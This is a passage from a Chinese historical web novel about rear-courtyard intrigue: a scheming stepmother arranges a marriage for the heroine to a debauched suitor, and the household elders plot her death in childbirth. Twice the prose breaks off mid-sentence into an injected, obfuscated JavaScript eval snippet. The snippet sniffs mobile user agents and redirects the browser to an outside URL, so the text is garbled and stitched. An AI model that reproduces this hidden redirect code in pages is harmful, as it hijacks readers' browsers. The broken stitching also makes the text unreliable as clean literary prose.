“嬷嬷,白芷学得如何我知道了,便烦请您帮我瞧瞧,李家三个姑娘看着如何吧?”赵夫人放下茶杯,亲自推了一个红封在刘嬷嬷面前,笑着问。 香道是最能看出人性子的,赵家辛苦搭上了远房亲戚的名义,才请了刘嬷嬷从宫里出来教导白芷,之所以答应让李家三个姑娘都跟着沾光,无非也是看在自家二儿媳要出自李家的这层情面上。 要赵夫人来说,虽不是挑长媳,但是对于李家,出身大家的赵夫人其实也颇有些看不上。 实在是李家的根基太浅薄了一些,若是关娘子还在的时候,那自然不必说,只怕满京师的人都要追着求娶李家三个女儿。 可问题是关素问死的早,李珺续弦身份实在是太低了些,家中几个女儿又并未认真教养,叫赵夫人来说,那妾室所出的二女儿虽漂亮,但是行事举止轻佻,她第一个看不上眼,大女儿虽是关家血脉,但是一点也没母亲昔日气度,反而畏畏缩缩,她也看不上。 那个嫡次女婉淑,虽不怎么出彩,样貌也一般,但是胜在还有几分稳重,只怕也只能选她了。 可老二乃是太子身边最得脸的伴读,日后说不得造化比大哥更甚也不一定,这样好的儿子,在赵夫人看起来,怎么也该从娘家找个贵女亲上加亲才是,奈何相公却铁了心要从李家选。 三个矬子也选不出一个将军,反倒叫赵夫人想到一次气一次。 想到这里,赵夫人心下就叹了口气,心想自己也是难为刘嬷嬷。 却没想到刘嬷嬷却说:“夫人,我观三位李家姑娘,二姑娘心气浮躁了些,三姑娘不甚出色,倒是大姑娘心思敏捷、品味高雅,与白芷天分相当。” 赵夫人顿时就一愣,她完全没想到刘嬷嬷的答案居然是这样的。 “你说的可是真的?与白芷差不多?”赵夫人坐直了身子,惊讶地问。 赵白芷是她亲生,又是自小教导,赵夫人不是王婆卖瓜,她心里十分清楚,她家白芷便是皇子妃也做得,且未来说不得就是宫中的皇妃娘娘——他们费尽心思请来这刘嬷嬷,其实为的也就是给赵白芷的那个未来铺路。 赵白芷几乎是举合族之力培养的大家闺秀,因此赵夫人听刘嬷嬷居然拿李婉玉与自家女儿比,第一反应是不信。 但是刘嬷嬷无需拿这种事情欺瞒她,便把调香的事情说了,然后说:“香道便是人之道,李大姑娘性子聪慧却又沉稳,其性情坚毅却不孤高,确实与三姑娘不分上下。” 赵夫人沉思了一下,才恍然大悟。她激动地拿帕子拍手,说:“到底是关家后人,想是一直装傻,到了婚配时候才显出自己来,怕被耽误了!” 赵夫人久在后宅浸淫,李家后宅别人看不明白,她却是看得分明,不免多想了一层,觉得自己只怕是误打误撞发现了真相。 想到这里,赵夫人连声嘱托刘嬷嬷帮忙观察,等人走了,才对身边伺候的妈妈说:“若她真是个好的,便选她给二郎也不错,嫁过来之后,我再慢慢教就是。” “若是如此,那可是婉玉姑娘一辈子的好福气呢。”身边的老妈妈跟着凑趣地笑着说话,哄得赵夫人脑海之中已经想到了可爱聪慧的孙子孙女,笑得压都压不住。 “就是可惜,老大那时候定亲太早了,若是老大媳妇选的门第再高些,如今也不用委屈铭儿了。”赵夫人轻叹一声,心中还是有些遗憾的。 当初给老大定亲的时候,她娘家刚好在走下坡路,家里子弟眼见着没有成器的,最后娶的也就是夫君同僚之女。 大儿媳虽然性格温厚,管家也十分有条理,但是到底不是自家娘家的孩子,没那么亲热贴心,确实也是赵夫人心中的遗憾。 再则如今赵家水涨船高,夫君已经到了三品,亲家还是五品,这不免就让老大也缺了一点岳家支撑,到头来到底是只能谋了外放,这一去三年多没有音讯,又是赵夫人心中的另一遗憾。 只是这会儿说起来是这么说,但是当初谁又知道后来事呢? 因此虽然心中遗憾,赵夫人也只能私下感慨一番,只祈祷这回可千万要选个顶好的人给二儿子。 “身份又不能高过松儿媳妇,又要撑得住场面,日后还得会交际……哎……”赵夫人想着这两个孩子之间左右平衡,忍不住嘴上念叨起来。 “哎哟,娘子这话要是出去说,没得让人说你轻狂,咱家两个小郎君,一个自小就陪着太子爷读书,一个自己考学为官,平常人家有一个麒麟儿已经欢喜的不成,娘子倒是在这里头痛起来了。”身边的老妈妈是得脸的,这会儿听到赵夫人这么说,忍不住开口打趣起来。 赵夫人一想也是,自己也笑了,轻声说:“行了,我这不是替铭儿担心么!只盼望那李婉玉是真的得了一些关家的教导,那我就什么也不用担心了。” 赵夫人那边说私房话,全然不知道,另一处也有人在议论她心中选中的儿媳。 “你说什么,今儿李大姑娘派人送的?”周乐天白日才**到关怀素与姨母说话,晚上就听说关怀素送了东西过来。 他疑惑地问着,手里接过信封,打开就看到了满纸婉约娟秀的字迹,仔细一看,竟是药膳方子,除此之外,还有一些吃药时候要注意的事项。 “哎哟,爷这几日不是说那药吃完哪里都好,就是嘴巴发苦、不思饮食么?”来福一看,顿时乐了,说,“姑娘竟连这些都想到了,真是太好了!” “这是什么时候送来的?”周乐天问管家。 “昨儿送来的,和药方一样,郎中都查过没问题,便赶紧送过来了。”管家躬身回答。 周乐天看了看字迹,咬了咬唇,皱眉看着药方。 “爷,怎么了?”来福看他神色有异,便迟疑地问,“可有什么不妥?” 周乐天心中觉得诡异,他轻声说:“我上回看药方就有点奇怪,去年李大姑娘的字,与今年的形意差别有些大。” 他曾在诗会的时候见过李家大姑娘的字,极为娟秀小巧,中规中矩。 可如今这字虽看着一模一样,但是勾画转折之处,如果认真细细辨认,还是有压不住的潇洒狂放之气。 字如其人,是最能瞧出人的真实性子的,这李大姑娘的字虽极力模仿之前的样子,可细看就像是换了个人一般。 周乐天看了一会儿,又松了眉头,轻声说,“许是经历过大事,心性有所改变的关系,字自然也更刚刃写意。” 来福不懂字,他看了又看,实在是看不出任何差别。 周乐天宽慰完自己,心中却又还是觉得隐约的哪里不对劲。 想着想着,周乐天突然一个激灵! 他对声音很敏锐,只要他听过的人,就很容易分辨出声音的主人。 就像是隔着墙壁都能确认流云台寺那个姑娘是李婉玉,知道珍宝楼与姨母说话的姑娘也是李婉玉一般,这是周乐天天生的本事。 所以哪怕与李大姑娘曾相见极少,甚至只听过李婉玉在太子面前请罪时说的短短几句话,但是周乐天还是敏锐地察觉到了,李大姑娘说话的习惯也变了。 不是语调的变化,而是气息与说话的方式,就如他和来福说的,如今李婉玉说话之前,都会轻轻地压一下气,这是长年累月的习惯,一般人根本注意不到这种细节。 而这种积年累月的习惯,李婉玉之前请罪时绝对没有。 听说她在庄子上过得很是凄惨,被下人欺负,庄子上还有民乱,最后也是她解决的。 许是经历太多,仿佛小死一次,所以字形意变了,小习惯也变了吧? 周乐天想到这里,心中黯然,心想:“也是,连我都变的只能握笔,想来她也是差不多。” 于是在真相的门口兜了一圈,周乐天到底就这么擦肩而过。 而李家还未曾安静,大晚上的,婉蓉和婉淑都在跪小祠堂。 小祠堂素来除了洒扫供香再无人来,加上烛火憧憧上头皆是牌位,不免益发显得整个屋子鬼气森森,吓得婉蓉和婉淑一进门就打了几个寒噤。 两人皆是自小养尊处优,进门的时候还在互相斗气,婉淑责怪婉蓉故意闹头疼回来想吓唬大姐姐,才闹得二人受罚。 婉蓉则是气骂婉淑,说婉淑不也跟着自己一起跑了,有本事怎么不留在原地陪着大姐姐? 吵着架进了小祠堂,丫鬟婆子们一出去,两人顿时吓得收声了。 等到几阵阴寒的穿堂风过去,两人已经吓得抱在了一起。 孙大娘子和崔小娘带着人来的时候,两人看到阿娘,顿时像是找到了主心骨一样,推开对方就投入了阿娘的怀里。 “快,把衣裳披上。”崔小娘与孙大娘子飞快地把厚袄子抖开,给衣衫单薄的二人穿上,然后又留下了垫的厚厚的蒲团与毛绒外披,最后才依依不舍地离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183320|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开。 两人脸上都带着对女儿受苦的心疼。 “可怜我蓉儿,还有三姑娘,从小生下来就金尊玉贵的,从未受过这种苦。”一出门,崔小娘罕见地主动与孙大娘子搭话。 孙大娘子心里也火烧着呢,只是面上却带着笑,温声说:“也是她们做妹妹的忘了照顾大姐姐,失了礼数。” “长幼有序,说破天也该是大的照顾小的,到了咱家倒是反过来了!”崔小娘见孙大娘子虽不接茬,但是神色之中却有压不住的怒意,便凑上前去,轻声说:“大娘子,翻年二月底就是婉淑的生辰了吧?” 孙大娘子疑惑地看崔小娘,不明白她话怎地转到了这里。 “咱家大姑娘还有两个月就要及笄,说起来也确实该定亲事了,听说大娘子给大姑娘相看了好人家?”崔小娘用一种说闲话的语气笑着说。 孙大娘子心中大概明白了崔小娘的意思,想是也烦这个搅家精在家里。 这一刻,崔小娘与她的利益是一致的,孙大娘子便神色一缓,温声带着些苦恼说:“是说了,还是滁州刺史家的唯一嫡子,但是婉玉看着似乎还是有些看不上。” 崔小娘心中翻了个白眼,心想那不是明摆着的事情,这边是太子伴读、京师三品府邸里的赵二郎,英俊潇洒又知根知底,另一边说着好听,但是滁州天南海北的,嫁出去还不知道这辈子能不能回京,二者相比,她也想把婉蓉嫁在京师面前呢。 但是崔小娘这会子也不是为了关怀素抱不平的,因此眼珠一转,便又更压低声音,轻声说:“听说马公子样貌不错,许是让他们小孩子家家稍微多见面一下,赏个花、散散步……多接触一下,大姑娘许就回心转意了呢?” 这话说得虽然有些奔放大胆,但若是遍请好友与亲人,**一堆闺秀与儿郎,再让马公子自己多靠过去献献殷勤,也不出格。 且说的难听些,又不是自个儿肚子里出来的,若二人私下接触不懂分寸,被人拿住把柄,真闹出什么风言风语,那正好顺水推舟把人嫁过去就是,正好家里清净。 想到这里,孙大娘子便明白崔小娘的意思,觉得不愧是这狐媚子,想的真是阴毒又好用,便点头说:“还是妹妹聪慧。” 两人像是随口在聊天,但是谈笑之中,心中自有默契。 二人说完就分道扬镳,没注意角落值夜婆子眼睛发亮听完全部,等到二人一走,提着扫帚就去了关怀素院子里。 “缺德丧良心的!”丁妈妈得了消息,立刻回禀关怀素,怒声说,“人多眼杂的,她们绝非想办宴会这么简单,这是想害死姑娘啊!” 关怀素在屋里擦脸呢,听到这消息脸色立刻沉了下来。 孙萍与崔妙人如此轻松,三言两语就想决定姐姐的未来。 仿佛在对待什么蝼蚁一般。 “赏那妈妈钱。”关怀素冷声说,“妈妈你晚上叫一桌席面,好好请那妈妈吃一顿,让人家看看,帮我办事自有好处。” “哎。”丁妈妈立刻答应下来,又压低声音破口大骂,“一个丧了良心的**,一个没良心的后娘!都是什么缺德玩意儿!姑娘,咱们怎么办?我看老爷还是心疼姑娘的,不如去求求老爷?” “李大人若是真这么心疼女儿,哪里有之前发霉的棉被和被下人欺负的日子?”关怀素环顾周围,方才与李珺痛哭的样子像是幻觉一般。她眼神发冷,轻声说,“妈妈,这高床软枕、绸缎香笼,不是因为李大人的良心,是因为我自己的本事。求他,没有用。” “就是。”柳叶也点头,说,“要不是他怕苛待姑娘的事情传的满京皆知,哪里会在乎咱们的死活?” “那咱们怎么办啊?”丁妈妈焦急地说,“难道姑娘便就这么嫁去滁州?” “当然不行。”关怀素轻声说,“上回让跛三去查的事情,查得如何了?” “跛三叫了两个干练人去庄子上,查陈妈妈那女儿了。”丁妈妈闻言立刻说,“前日说是有眉目了,算算日子,也就这两天该回来了。” “好。等他们回来,即刻让他们去查一查马修文的底细。”关怀素冷声说,“那马修文举止轻浮放浪,马夫人又行为古怪,我次次冒犯,她却不以为忤,只想着推进婚事,此事绝对有古怪。” 柳叶也点头,说:“真有那么好,她怎会便宜咱们!” 如此安排好,关怀素便安置了。 第四十五章 布局 婉蓉与婉淑在祠堂过了一夜,第二天双双说是风寒病倒,第二日关怀素自己一个人去上学。 下学后关怀素要去流云台寺祭亡母,就托赵白芷把这两日上课的内容记下来,自己回来好跟上进度。 “这倒是不费事,只是我听哥哥说,昨儿婉蓉妹妹说是头痛,哥哥竟带着她们先回去了,我把哥哥好好骂了一顿,又跟母亲说了,母亲昨儿罚哥哥抄了一晚上的书。”赵白芷拉着关怀素,脸上都是担心,上下看着关怀素说,“昨儿姐姐可好,可吓到了?” 关怀素笑了一下,不知为何想吓吓这个总是端庄温柔、滴水不漏的姑娘,于是故意压低声音对她说:“我昨儿趁机玩了一下午,你不知道,咱京师里铺面可真多!” 赵白芷吓得眼睛都瞪圆了,关怀素“噗嗤”一声笑出声来,然后才说:“哎呀,白芷妹妹不会从未出去玩耍过吧?” “哥哥与爹娘带着的时候,我也曾出去玩过的。”赵白芷看她笑得眼睛都弯起来,不知为何也起了一点较劲一般的胜负心,说了一句。 “那你可知道那八宝楼里的烤鸭?极是美味呢!”关怀素听她这么说,立刻便想到昨日与姨母一起吃的美食,起了谈兴,说,“那鸭子烤的皮脆肉嫩,一刀破开里面还有肉汁流出,鸭皮沾一点糖,又脆又香甜,里面的鸭肉拿黄豆酱裹一下下口,肥嫩咸鲜……哎呀呀,真的是美味至极!” 赵白芷家里就有大厨,烤鸭不知吃过多少次,但是被关怀素这么一说,竟觉得馋得口舌生津。 因此在关怀素说“不如等我后日回来,咱们上完课一起再去吃?”的时候,赵白芷猛地点了一下头。 但是她立刻意识到自己冲动了,又摇了摇头,轻声说:“多谢婉玉姐姐好意,但是我事情多,等二哥有空时,我让他给我带些试试就好了。” 说完她犹豫了一下,到底还是有些担心关怀素,温声叮嘱了一句:“婉玉姐姐如今看着开心多了,让人看着也欢喜。只是咱们女儿家立身于世,到底不如男子惬意,姐姐偶尔玩耍一回也就是了,日后还是当小心为上。” 关怀素知道她是好意,但是心中到底是想到那日她颤抖着声音问小侯爷话时候,那时候的赵白芷虽颤抖且狼狈,但是她的声音里带着一股孤注一掷的生命力。 眼前这个姑娘虽然端庄美丽、温柔大方,但是太完美了,完美的像是一潭水一般,明明年少,却泛着沉沉暮霭之气。 但是这就不是关怀素一个外人能置喙的事情了,因此她只对赵白芷道谢,而后转身回家。 赵白芷目送她离开,转身才发现刘嬷嬷竟然站在身后,立刻惊讶了一下转头行礼。 “姑娘不必多礼,”刘嬷嬷笑着扶起她,温声说,“夫人让我来请姑娘,今儿开始,下午老身会带着姑娘一起学习打点宫中事务,晚间再学抚琴一个时辰、听琴一个时辰。” 赵白芷的神色黯淡下来,除了所有高门贵女必须学的技艺之外,这是她私下要学的东西,而她之所以要学这些,是为了什么,赵白芷知道的清清楚楚。 她回头看关怀素离开的方向,心中涌起淡淡的不甘心来。 但是那只是很短暂的一瞬间,最终赵白芷还是转身,温柔地笑着说:“好,劳烦嬷嬷了。” 她转身,往赵家大宅的主屋之中走去,姿态优雅高贵,像是完美的仕女图一般。 而身后,关怀素与她分道扬镳,转身匆匆回家,就忙着打点行囊,打算上山进香。 第二日一大早,关怀素到了流云台寺,私下见钟妈妈与师兄。 这回见面,钟妈妈的气色好了不少。 “姑娘,东西做成了,如今已经开始产了第一批布料!”钟妈妈指着厢房床上摆着的布料说。 关怀素走过去看,摸了摸说:“这些料子似乎稍微硬一些。” “是,那机器做出来后,缠的棉线更紧些,做出的布料稍微硬实一点。”孙文书点头,说,“但是不打紧,我们试过了,这样更耐磨,反而是好事。” 钟妈妈点头,兴奋地说:“而且纺线速度快许多,我估摸着每月能产布匹三四百匹。” “这么多!”关怀素都惊了一下。 毕竟一匹布料,若是妇人家务之余织出来,最少也得一月左右。 “我们雇了人纺线,只把棉线给周围妇人拿回去做,一匹布,勤快些加班加点地做,三四日也尽够了,若是家中事务繁杂,七八日也能成一匹。”孙文书颔首,高兴地说,“纺线时间少了如此多,自然产量大。” 如今棉布价钱比丝缎稍微便宜一些,一匹中上等丝缎是三两左右,棉布大概一两五十钱,关怀素稍微算了下,便知道这生意一月至少可以赚个两三百两银子。 “这便好了,可算是解了我们的燃眉之急!”关怀素还没说话,旁边听着的柳叶就开心地连声说。 “姑娘缺钱了?”钟妈妈一听顿时着急了,连问怎么回事,柳叶便把最近在家里的花用全部竹筒倒豆子地说了一遍。 “大姑娘院子一应支出竟都是自己出的?”钟妈妈一听,顿时气得脑袋冒烟。 “妈妈别生气,我猜想,这是孙萍故意用这种方式拿捏我呢。”关怀素笑了笑,温声说,“我不接招,暗地里憋屈的只能是她。” “姑娘心里有想法?”钟妈妈养她长大,知道她不是暗吃亏的性子,便立刻问。 “当然。”关怀素颔首,笑着说,“妈妈只管放心。” 钟妈妈这才放下心来,郑重地说:“钱的事情,姑娘只管放心,京师开支虽大,也不至于叫姑娘束手束脚。” 柳叶在旁边等了半天,说:“钱倒不算大事,只是憋屈,就是那姓孙的想给姑娘说亲事。” 说完把马修文的事情说了,孙文书闻言勃然大怒,说:“师妹,此人既然能当面就叫你看出来性子轻浮放浪,定不是个好的,李家欺人太甚!” 又说:“师妹,你那下人能查到什么,不过是外头的消息,你等着,我去问问京师故旧,定能查清楚此人底细!” 关怀素闻言,也觉得好,便颔首答应下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183321|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此事情都安排好,祭拜了亡母,关怀素第二日一早便赶回京上学。 回京师的路上,才到城门口,却突然听到大地震颤的密集马蹄声。 “西北军回城!闲杂人等让路!”一声女子厉喝之中,马车移动,丁妈妈没一会在车窗外回话,“姑娘,得等一会子了,外头说西北军回京述职,现在刚好到门口,如今太子殿下亲自在城楼前头等着接人呢!” “西北军,是长公主的那支军队吗?!”关怀素一听,顿时眼睛一亮! 长公主是本朝传奇人物,她乃是马上将军,与先帝一起开拓本朝盛世,被先帝封为安国长公主,后来又加封武安君,都是实打实的武勋。 对于这样的奇女子,关怀素十分崇拜,闻言眼睛发亮,悄然打开帘子,往不远处城门口望去。 在一列禁军驻扎之中,百姓们被阻拦在外头,关怀素远远地看到一个明黄身影站在城门口,而更远处,两百多骑兵列成一队,全身明光甲胄,奔袭而来! 那队骑兵速度极快,仿佛闪电一般,上一刻还在远处,下一刻却已经到了近前。 到了近前才看清楚,这一堆居然大多是女将,全数脸颊起了晒红、肤色如麦,神色坚毅,风尘仆仆。 而当先那四十出头的将军一身明光铠,腰佩长刀,腰带上缠着白布为腰带,骑着一匹通身无杂色的黑马,到了城门口太子面前肋马人立而起,马匹堪堪停在太子跟前。 她面对太子,竟不下马,反而豪迈一笑,对着太子大声说:“阿钰,十年不见了!” 太子脸上露出一个罕见的喜悦笑容,拱手行礼:“姑姑,十年不见,您依然如此英姿飒爽!” 大长公主发出大笑,拿马鞭指着身后,说:“去,挑一匹马,与我出城跑一圈!” 太子竟也不拒绝,上前选中一匹马,马上的偏将立刻跃下,太子翻身上马,与大长公主疾驰而出! 身后骑兵与迎接的内卫们为这突如其来的变故吓得半死,立刻齐齐跟上,一路卷起烟尘滚滚。 两位大人物与他们的手下全数离开,城门口的队伍又开始排起来,让众人进城。 “做女子,还是当如大长公主,多潇洒自在。”夜里,关怀素洗漱完毕,忍不住悄悄对柳叶说。 柳叶也露出向往神色,说:“等姑娘把此间事了了,咱们也继续游学去。” 关怀素被柳叶说的心神向往,又有些奇怪地说:“柳叶,今儿小侯爷也在城门口,大长公主却看都没看他一眼呢,你发现没?” 柳叶完全没注意,她茫然地说:“许是回去才顾得上呢?” 关怀素便觉得是自己想多了。 其后是连轴转地上课,等到她们十日一休的时候,孙大娘子突然说,刚巧后日是她的生辰,她打算请几家相熟的亲戚来家里吃酒。 也就是在这个时候,两拨人马先后到了。 第一个便是师兄孙文书。 且一直君子端方、老成持重的孙文书,这回简直是怒发冲冠! 第四十六章 怒斥大娘子 孙文书担心师妹吃亏,流云台寺一别,第二日就悄然拜访了一位旧友。 老友见面格外亲热,此人听说孙文书要打听这人,立刻叫下人打听对方在哪里,说:“我平素不爱与人交际,也不知如何,不如你自去观察一番?” 此话刚合孙文书的意思,于是二人欣然前往。 结果差点听了一场现场版的活春宫! 那马修文简直是骇人至极,白日宣淫也就算了,竟还是在人来人往的酒楼之中,孙文书一辈子循规蹈矩,从未见过如此离谱之人,当场就又羞又怒,还没说话,便听马修文喘着粗气说:“还是你好,等我们回滁州,我立刻从母亲身边把你要过来,收你做第五房!” 这人竟是还没成婚,便已经有了四房姨娘?! 孙文书意识到这一点时,已经是十分震惊,可没等他回过神,便听隔壁传来女子嬉笑的柔腻声音,拉长了语调娇媚地说:“那香姨娘会不会生气啊?” “她有什么好生气的?”马修文声音猥琐,说,“她都有了大哥儿了,日后大娘子进门也欺负不了她,难道连老子裤腰带还要管?” 对话到这里,便是女子喘息媚笑的声音,孙文书哪里还听得下去,勃然大怒拂袖而去! 这会子终于见到关怀素,立时便把前天亲耳听到的事情说了,最后怒斥:“此人简直是寡廉鲜耻至极,世所罕见!” “什么脏的臭的都敢往大姑娘身边扒拉!”丁妈妈闻言也是气恨,说,“大娘子到底知不知道自己相看的是什么玩意儿?” “她定然知道。”关怀素冷声说,“咱们大娘子可是京师出名的贤惠人呢。” “难怪姑娘几次三番打马夫人的脸,她也不恼,这马修文来京师都收不住性子,消息灵通的人家定然都知道了,他定娶不到好的了!”柳叶愤怒地说,“这不只能靠姓孙的贱妇,想骗个身家清白的官宦小姐遮羞!” 众人都大怒,关怀素心中也是气恨至极,眼见天色已晚,便对孙文书说:“师兄,我知道了,这几日辛苦你了,你回去好好休息。” 孙文书知道她是个有谋略的,到底还是担心她在后宅行事不便,叮嘱:“你见机行事,若是有什么要帮手的,随时叫人来平安县叫我!” 见关怀素答应下来,他才放心离开。 “多亏关老爷子还留了人手给大姑娘,否则咱们两眼一抹黑,这等紧要的事情都不知道!”丁妈妈并不知道孙文书的来历,只以为这是关怀远留下的人手,这会子只庆幸地拍胸口。 又啐道:“大娘子好狠的心,竟找了个这么五毒俱全的人来,难为她能在那么多青年才俊里找到这么个下贱货色!” 几人说着话,回家就见小荷在院子里有些着急地张望,见到关怀素回来,立刻眼前一亮,匆匆过来说:“姑娘,后门那边托人找丁妈妈,说是丁妈妈家里人来看妈妈了!” 丁妈妈立刻问:“是我家大郎和二郎来了?” 见小荷点头,丁妈妈立刻便出去了。 一会儿丁妈妈就悄无声息地回来,说:“姑娘,跛三派的小子们回来了,说陈妈妈那女儿一家,过的比寻常富户还舒服呢!” 关怀素正在屋里燃了炭盆,和柳叶一起烤干头发,闻言便说:“仔细说说。” “陈妈妈那女儿不是嫁了庄子上的庄头么?”丁妈妈闻言立刻细说起来。 却原来陈妈妈那女儿如今嫁人也有十来年了,膝下已经有三女二子,最大的孩子也已经十来岁了。 他们家两个儿子都送去读了书,不但如此,在庄子上住的都是主人房,且还在京师置办了一套小院子,过的极为殷实富庶。 “如今京师的房子可不便宜,听说一套一进院子都已经要八百两往上了。”柳叶咋舌,说,“寻常官宦若无家底,等闲也买不起京师的小房子,大多是赁居,他们哪里来的那么多钱?就靠陈妈妈和白有才贴补?” “可是陈妈妈和白有才再贴补,也不该如此富庶。”关怀素皱眉,沉声说,“老夫人瞧着不是手松散的人,陈妈妈哪里来的钱?” 丁妈妈闻言眼睛一亮,说:“姑娘,这里头只怕有猫腻,不如我去打探一下?” 关怀素闻言立刻点头,轻声说:“妈妈无需太冒险,陈妈妈把持老夫人院子这么多年,难道没有想出头的其他妈妈?” 丁妈妈登时眼睛爆出精光。 她立刻懂了,马上喜不自胜地说:“姑娘的意思我明白了!我这就去办!” 事情吩咐完,关怀素便想练习一下焚香,然后便休憩一会子,却没想到老天不让她得闲。 丁妈妈才出去,小荷便匆匆进来,紧张地说:“姑娘,雪沫姐姐跟我说,程家姨母递了拜帖,人在外头等着,想邀姑娘家里去做客,可被大娘子拦住了,说是姑娘您不愿意去。雪沫姐姐让我问问姑娘,可真是姑娘的意思?” “什么?!”关怀素一听,登时大怒,拍案而起。 她知道程姨母经历过那样的过去,虽看着坚强,但是那都是外人,若是心中在意的人如此对待她,只怕不知道多伤心。 因此关怀素顾不得其他,起身就往外头走。 几乎是奔跑着到了前院,到了大门口就看到孙大娘子带着人站在门口,正满脸端庄皮笑肉不笑地冷声说:“程娘子请自重,您是什么人,满京师都是知道的,您若是真的关心婉玉,就更不该来看她,更别提邀她去你家里,到时候带累了婉玉的名声,累及她的婚嫁,你难道就乐意了?” 这话说得实在是诛心,门口的人一时竟都没有回话。 程娘子不是个委曲求全的人,但是她此刻却一句话都说不出来,是因为孙大娘子这话说到了她最害怕的地方。 “大娘子为何如此羞辱我姨母?”关怀素气冲天灵盖,人还没到就扬声怒斥,“程爷爷一生保家卫国,拒敌于家国之外,保卫不知多少百姓安康!程姨母作为程将军女儿,因为阴毒小人陷害,父兄皆死,受丧亲之痛,又遭遇许多坎坷,圣人都曾下旨将陷害程将军的御史一家满门抄斩,乃是为姨母遭遇愤怒愧疚……大娘子拿此事羞辱国之忠良之后,是不满陛下圣裁吗?!” 这事儿当然是关怀素胡扯的,毕竟她根本不知道圣人是什么想法,但是她能肯定的是程爷爷当年保家卫国,还是跟着先帝的帐下先锋,这样的人物,儿子被诬陷私通敌国被斩首,唯一的小女儿被充入官妓,虽是陛下被蒙蔽,但是此事翻案成功之后,不免让老臣寒心。 当今陛下哪怕是装,也得假装出内疚悲伤来,绝对不敢轻忽,否则一不小心就会失了武将一系的人心。 所以她敢光天化日之下直接扯陛下做幌子,直接斥责孙大娘子。 孙大娘子本来趾高气扬,被关怀素这么一说,顿时脸上惊怒交加,她在后宅能摆弄开,天生聪慧,却并不懂朝堂大事,自然一下子被关怀素拿捏到,一时又惊又气,竟说不出话来,只能恼怒地说:“婉玉,女孩子家家的,在外人面前大呼小叫成何体统?回你屋里去!” 但是关怀素却完全不听,走到门口,对着挡住门的丫鬟婆子怒声说:“让开,我姨母来见我,凭什么不许我出去?” “就是,凭什么不许我们一起出去?!”外头程娘子还没做声,却听到一个飒爽姑娘的声音,直接说,“当初关老先生散尽家财救故交之后,街头巷尾谁不传颂他仁义之心?婉玉姐姐有外祖遗风,重情重义,凭什么让你们拦着不许和亲人来往?” 这话里外夹击,一时让孙大娘子不好再拦。 丫鬟婆子们看孙大娘子脸色难看,一时有些犹豫,正在僵持的时候,门口龙行虎步走进来一个执马鞭的年轻姑娘,她生得壮实匀称,肤色如麦子一般健康漂亮,有种虎虎生风的悍烈之美。 这姑娘走到门口,拿着马鞭指着丫鬟婆子们呵斥:“都给我让开!不然我就抽人了!” 此话一出,丫鬟婆子们吓得纷纷避开,关怀素见此,立刻就往外头走。 身后拿着披风的丁妈妈与柳叶刚巧赶到,立刻给她披上袄子。 “婉玉,你想好了,从这里出去,日后你的路是什么样子,就全看你自己了!”孙大娘子冷声压低声音警告关怀素。 关怀素回头看孙大娘子一眼,突然笑了,说:“我以前可听话了,如鹌鹑一般战战兢兢……我过得好吗?” 此话一出,孙大娘子脸色黑如锅底。 关怀素却根本不管,只转过身去,朝着外头含泪看着她的程娘子走过去,亲热地喊一声:“姨母,你终于来接我了!” 程娘子听她为自己分辩,一句句听得清清楚楚,心中知道这孩子长大了,心中明辨是非,是真的一点也不介意她这个姨母的过去了。 她心中感动万分,眼泪含着不敢落下,只能哽咽地拍着关怀素的手,连声轻声说:“嗯、嗯,好孩子,是姨母耽搁了……” 孙大娘子在大门口,看着关怀素扬长而去,脸上阴森的快要滴出水来。 “娘子……”周妈妈小声,“人走了,我们回去罢?” 孙大娘子深呼吸,低声说:“回去。” 也罢,不过是一时让她得意一番,后日宴会把婚事定了,她怎么闹也是一场空罢了! 想到这里,孙大娘子脸上的狠厉之色才稍微褪去,慢慢恢复成温和的样子。 而几乎才一刻钟,正院里的老夫人和崔妙人也知道了这场争执。 “这丫头如今性子太刚强了,实在是不好弹压。”老夫人听到回话,脸色登时垮下来,只叫婉蓉先回屋里休息,等她走了才对崔妙人皱眉说,“上回让你办的事儿,怎地一直没个动静?” 崔妙人脸色发苦,立刻蹲身请罪说:“老祖宗,大姑娘那院子如今整治的铁桶一般,我让下人试探了好几回,实在找不到机会下手。” 见老夫人脸上露出不满之色,她也不敢起身,便小心地说:“大娘子也不耐烦她了,当年那契约的事儿,她又不知道,做证的陶大人也多年不见回来,指不定人还在不在世上呢,这时候找机会一副嫁妆打发出去,也没什么。” “哼,那滁州刺史可是个实缺!”老夫人便不满地说,“那家里还是御史中丞马大人的亲弟弟,指不定过些年是不是要高升回京。到时候她要是遇到那姓闵的,岂不是节外生枝?” “老祖宗,您有所不知。”崔妙人便笑着说,“我打听了,大娘子找的那家人,实在是滁州出名的荒唐浪荡子,还没娶妻,有名分的妾室就已经四房,家里的丫鬟媳妇子据说没有他不沾手的,又是秦楼楚馆的常客。他那后宅可不是个太平地方,大姑娘去了,不一定能从那帮斗惯的女人手里活下来。” 见老夫人还是不满意,崔妙人便又放软了声音,轻声说:“再说了,到时候总要有人陪嫁过去的,实在不成,悄悄地塞几个人陪嫁过去,这妇人生产,总是要过鬼门关的……届时找准机会,不显山不露水,便在滁州解决了,总比在京师方便呢。” 老夫人听到这里,眼睛一亮,立刻便神色缓了下来。 “还是妙人你贴心。”老夫人笑着招呼她过去,崔妙人立刻上前,笑着给老夫人按背。 